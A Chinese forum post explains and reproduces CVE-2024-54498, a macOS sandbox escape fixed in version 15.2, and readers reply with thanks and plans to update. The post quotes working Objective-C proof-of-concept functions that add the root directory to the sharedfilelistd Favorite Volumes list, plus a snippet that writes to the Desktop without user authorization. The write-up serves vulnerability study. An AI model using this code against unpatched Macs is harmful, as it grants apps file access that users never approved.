macos高危漏洞CVE-2024-54498 解析+复现

前言:

前两天看到github有公开一个mac的cve,影响了15.2以下的版本,刚好我也用的mac,看看会不会影响到我,特抽时间看了一下,有搞错的地方麻烦大佬补充修改。

原理:

先说下前情提要,苹果的macos有个沙箱机制,每个应用都只能访问自己独立的沙箱数据,如果需要访问其他数据,比如桌面文件夹,则需要用户手动授权,即唤起一个文件夹选择栏,让用户授权。

而CVE-2024-54498绕过了这个限制,在无需用户授权的情况下也可写入/读取任意文件。

简单研究了下poc,原理很简单,mac系统还有个机制/特性,就是共享文件,进程是sharedfilelistd

这个进程允许将全盘直接列入共享文件中,从而导致原本应该没有权限的目录被直接取得权限。

复现:

代码很简单,原poc中的关键函数是这样的:

int add_root_dir_to_favorites(void) {
    CFStringRef listType = kLSSharedFileListFavoriteVolumes;
    LSSharedFileListRef favoriteVolumesList = LSSharedFileListCreate(NULL, listType, NULL);
    
    if (favoriteVolumesList) {
        NSString *path = @"/";
        CFURLRef tmpDirURL = (__bridge CFURLRef)[NSURL fileURLWithPath:path];
        
        LSSharedFileListItemRef newItem = LSSharedFileListInsertItemURL(
            favoriteVolumesList,
            kLSSharedFileListItemLast,
            NULL,
            NULL,
            tmpDirURL,
            NULL,
            NULL
        );
        
        if (newItem) {
            NSLog(@"[+] Successfully added %@ to Favorite Volumes.", path);
            CFRelease(newItem);
        } else {
            NSLog(@"[-] Failed to add %@ to Favorite Volumes.", path);
        }
        
        CFRelease(favoriteVolumesList);
    } else {
        NSLog(@"[-] Failed to access LSSharedFileList for Favorite Volumes.");
    }
    
    return 0;
}

int trigger_exploit(void) {
    LSSharedFileListRef recentItems = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL);
    if (recentItems) {
        NSArray *items = (__bridge NSArray *)LSSharedFileListCopySnapshot(recentItems, NULL);
        
        NSLog(@"items array: %@\n", items);
        for (id item in items) {
            LSSharedFileListItemRef itemRef = (__bridge LSSharedFileListItemRef)item;
            CFErrorRef errorRef;
            CFURLRef itemURL = LSSharedFileListItemCopyResolvedURL(itemRef, 0, &errorRef);
            NSString *itemPath = [(__bridge NSURL *)itemURL path];
            NSLog(@"itemPath: %@", itemPath);
        }
        CFRelease(recentItems);
    } else {
        NSLog(@"Failed to retrieve recent items.");
    }
    
    return 0;
}

就像原理中说的,它调用了苹果的api让sharedfilelistd进程将根目录直接加入了共享列表中,验证它也很简单,直接尝试写入一个新文件到destop中即可。

NSString *escaped_dir = [NSString stringWithFormat:@"%@/Desktop/exp", userDir];
const char* escaped_contents = "无需申请授权即可访问destop文件夹";
writeFileAtPath(escaped_dir.UTF8String, escaped_contents);

复现视频(视频号视频,请在微信打开链接):

https://weixin.qq.com/sph/ArTMmIcmV

总结:

这个漏洞利用了正常功能点的疏忽导致了另一个意料之外的后果,简单但有效,危害点在于用户无感知地被取得了全盘权限,CVSS评分也来到了8.8,苹果在15.2版本中已修复此漏洞。

poc:GitHub - wh1te4ever/CVE-2024-54498-PoC: Escape macOS Sandbox using sharedfilelistd exploit

17 个赞

感谢分享

2 个赞

吓得我明天就更新

2 个赞

更新有用吗

1 个赞

不是说在15.2修复了吗

:tieba_087:感谢大佬!

本来不想升级的,这个漏洞有点狠啊,还是升级吧。

哦哦没看更新日志呢